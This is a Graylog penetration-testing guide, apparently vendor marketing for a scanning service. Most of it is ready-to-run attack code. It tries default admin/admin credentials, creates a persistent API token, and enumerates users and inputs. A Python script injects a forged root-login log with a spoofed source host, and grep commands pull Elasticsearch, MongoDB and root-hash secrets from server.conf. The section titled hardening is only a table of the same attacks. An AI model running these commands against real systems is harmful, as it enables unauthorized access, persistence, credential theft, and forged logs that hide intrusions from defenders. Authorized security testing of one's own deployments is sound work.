Graylog Security Testing: API Token, Stream Rules, Input Credentials, and Log Injection

Graylog is one of the most widely deployed self-hosted SIEM and centralized log management platforms, aggregating logs from across an organization's infrastructure. As a SIEM, Graylog presents a unique security testing target: it collects sensitive security logs from all connected systems, and compromising the Graylog admin interface gives an attacker both administrative control over the log infrastructure and access to historical security event data. Key assessment areas: Graylog's GELF (Graylog Extended Log Format) UDP/TCP inputs accept log data without authentication by default, enabling log injection and source spoofing; the Graylog REST API with token authentication gives full administrative access; /etc/graylog/server/server.conf contains Elasticsearch/OpenSearch credentials and the root password hash; default admin/admin credentials on unconfigured installations; and Graylog event notifications store webhook URLs, Slack tokens, and email credentials in the notification configuration. This guide covers systematic Graylog security assessment.

Table of Contents

  1. Authentication and API Access
  2. Log Input Enumeration and Injection
  3. Configuration Credential Extraction
  4. Graylog Security Hardening

Authentication and API Access

# Graylog REST API — authentication and admin access
GRAYLOG_URL="https://graylog.example.com:9000"

# Test default admin/admin credentials
curl -sk "${GRAYLOG_URL}/api/system" \
  -u "admin:admin" \
  -H "X-Requested-By: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if d.get('version'):
        print('DEFAULT CREDENTIALS VALID: admin/admin')
        print(f'Graylog version: {d.get(\"version\")}')
        print(f'Node ID: {d.get(\"node_id\")}')
        print(f'Cluster ID: {d.get(\"cluster_id\")}')
    else:
        print(f'Response: {d}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# Create an API token for persistent access
curl -sk -X POST "${GRAYLOG_URL}/api/users/admin/tokens/pentest-token" \
  -u "admin:admin" \
  -H "X-Requested-By: XMLHttpRequest" \
  -H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'API token: {d.get(\"token\")}')
    print('Use: Authorization: Basic base64(token:token)')
except: pass
" 2>/dev/null

# List all configured users
curl -sk "${GRAYLOG_URL}/api/users" \
  -u "admin:admin" \
  -H "X-Requested-By: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"username\")} email={u.get(\"email\")} roles={u.get(\"roles\")} external={u.get(\"external\")}')
" 2>/dev/null

Log Input Enumeration and Injection

# Graylog inputs — log collection endpoints, often unauthenticated
GRAYLOG_URL="https://graylog.example.com:9000"

# Enumerate all configured inputs — reveals log collection endpoints
curl -sk "${GRAYLOG_URL}/api/system/inputs" \
  -u "admin:admin" \
  -H "X-Requested-By: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
inputs = d.get('inputs',[])
print(f'Configured inputs: {len(inputs)}')
for i in inputs:
    attrs = i.get('attributes',{})
    print(f'  [{i.get(\"id\",\"\")[:8]}] {i.get(\"name\")} type={i.get(\"type\")}')
    print(f'    Port: {attrs.get(\"port\")} bind_address={attrs.get(\"bind_address\",\"0.0.0.0\")}')
    if attrs.get('tls_enable'):
        print(f'    TLS: enabled cert={attrs.get(\"tls_cert_file\")}')
    else:
        print(f'    TLS: DISABLED — plaintext log transmission')
" 2>/dev/null

# GELF UDP log injection — send forged log messages
# GELF inputs on port 12201 (default) accept logs without authentication
python3 -c "
import socket, json, zlib, struct

GRAYLOG_HOST = 'graylog.example.com'
GELF_PORT = 12201

msg = json.dumps({
    'version': '1.1',
    'host': 'legitimate-server.internal',  # spoof source host
    'short_message': 'Authentication successful for root from 10.0.0.1',
    'level': 6,
    'facility': 'security',
    '_source_ip': '10.0.0.1',
    '_username': 'root',
    '_event_type': 'login_success'
}).encode()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg, (GRAYLOG_HOST, GELF_PORT))
print(f'GELF message injected to {GRAYLOG_HOST}:{GELF_PORT}')
print('Injected: forged successful root login event — spoofed source host')
" 2>/dev/null

Configuration Credential Extraction

# Graylog server.conf — contains Elasticsearch credentials and secrets
# Located at /etc/graylog/server/server.conf

# Extract credentials from Graylog configuration
grep -E 'elasticsearch_hosts|password_secret|root_password_sha2|mongodb_uri|email_web_interface_url' \
  /etc/graylog/server/server.conf 2>/dev/null
# Key fields:
# password_secret — used to salt passwords and tokens (must be kept secret)
# root_password_sha2 — SHA-256 hash of admin password (crackable offline)
# elasticsearch_hosts — URL with optional credentials: http://user:pass@elastic:9200
# mongodb_uri — MongoDB connection string with credentials

# Extract Elasticsearch credentials
ELASTIC_URL=$(grep 'elasticsearch_hosts' /etc/graylog/server/server.conf 2>/dev/null | \
  awk -F'=' '{print $2}' | tr -d ' ')
echo "Elasticsearch URL: ${ELASTIC_URL}"

# Get notification configurations — webhook URLs and email credentials
curl -sk "${GRAYLOG_URL}/api/events/notifications" \
  -u "admin:admin" \
  -H "X-Requested-By: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
notifs = d.get('notifications',[])
print(f'Notifications: {len(notifs)}')
for n in notifs:
    config = n.get('config',{})
    print(f'  {n.get(\"title\")} type={config.get(\"type\")}')
    # HTTP notification — reveals webhook URLs (Slack, PagerDuty, etc.)
    if config.get('type') == 'http-notification-v1':
        print(f'    Webhook URL: {config.get(\"url\")}')
    # Email notification — reveals SMTP configuration
    if config.get('type') == 'email-notification-v1':
        print(f'    Email sender: {config.get(\"sender\")}')
        print(f'    Email recipients: {config.get(\"email_recipients\")}')
" 2>/dev/null

Graylog Security Hardening

Graylog Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credentialsGET /api/system with Basic auth admin:admin — confirmed by version number in response; provides full administrative API access including user management, input configuration, and all log dataCritical
GELF input unauthenticated log injectionUDP to port 12201 — GELF JSON payload accepted without authentication; enables log forgery with arbitrary source host, event type, and message content; forged events can trigger stream alerts or suppress legitimate security eventsHigh
Elasticsearch credential extraction from configRead /etc/graylog/server/server.conf — elasticsearch_hosts field may contain http://user:password@host:9200; credentials provide direct Elasticsearch access bypassing Graylog authenticationHigh
root_password_sha2 offline crackingRead /etc/graylog/server/server.conf — root_password_sha2 is SHA-256 hash of admin password; subject to offline dictionary/brute-force attack with hashcat (-m 1400); no salt means rainbow tables are effectiveHigh
Notification webhook/credential exposureGET /api/events/notifications — returns all configured notification destinations including Slack webhook URLs, PagerDuty API keys, email SMTP credentials; notification endpoints receive all triggered security alertsMedium

Automate Graylog Security Testing

Ironimo tests Graylog deployments for default admin/admin credential exploitation, GELF and Syslog input authentication bypass, log injection and source spoofing capability, Elasticsearch credential extraction from server.conf, root_password_sha2 hash extraction for offline cracking, notification webhook and email credential enumeration, stream rule configuration audit, and API token persistence assessment.

Start free scan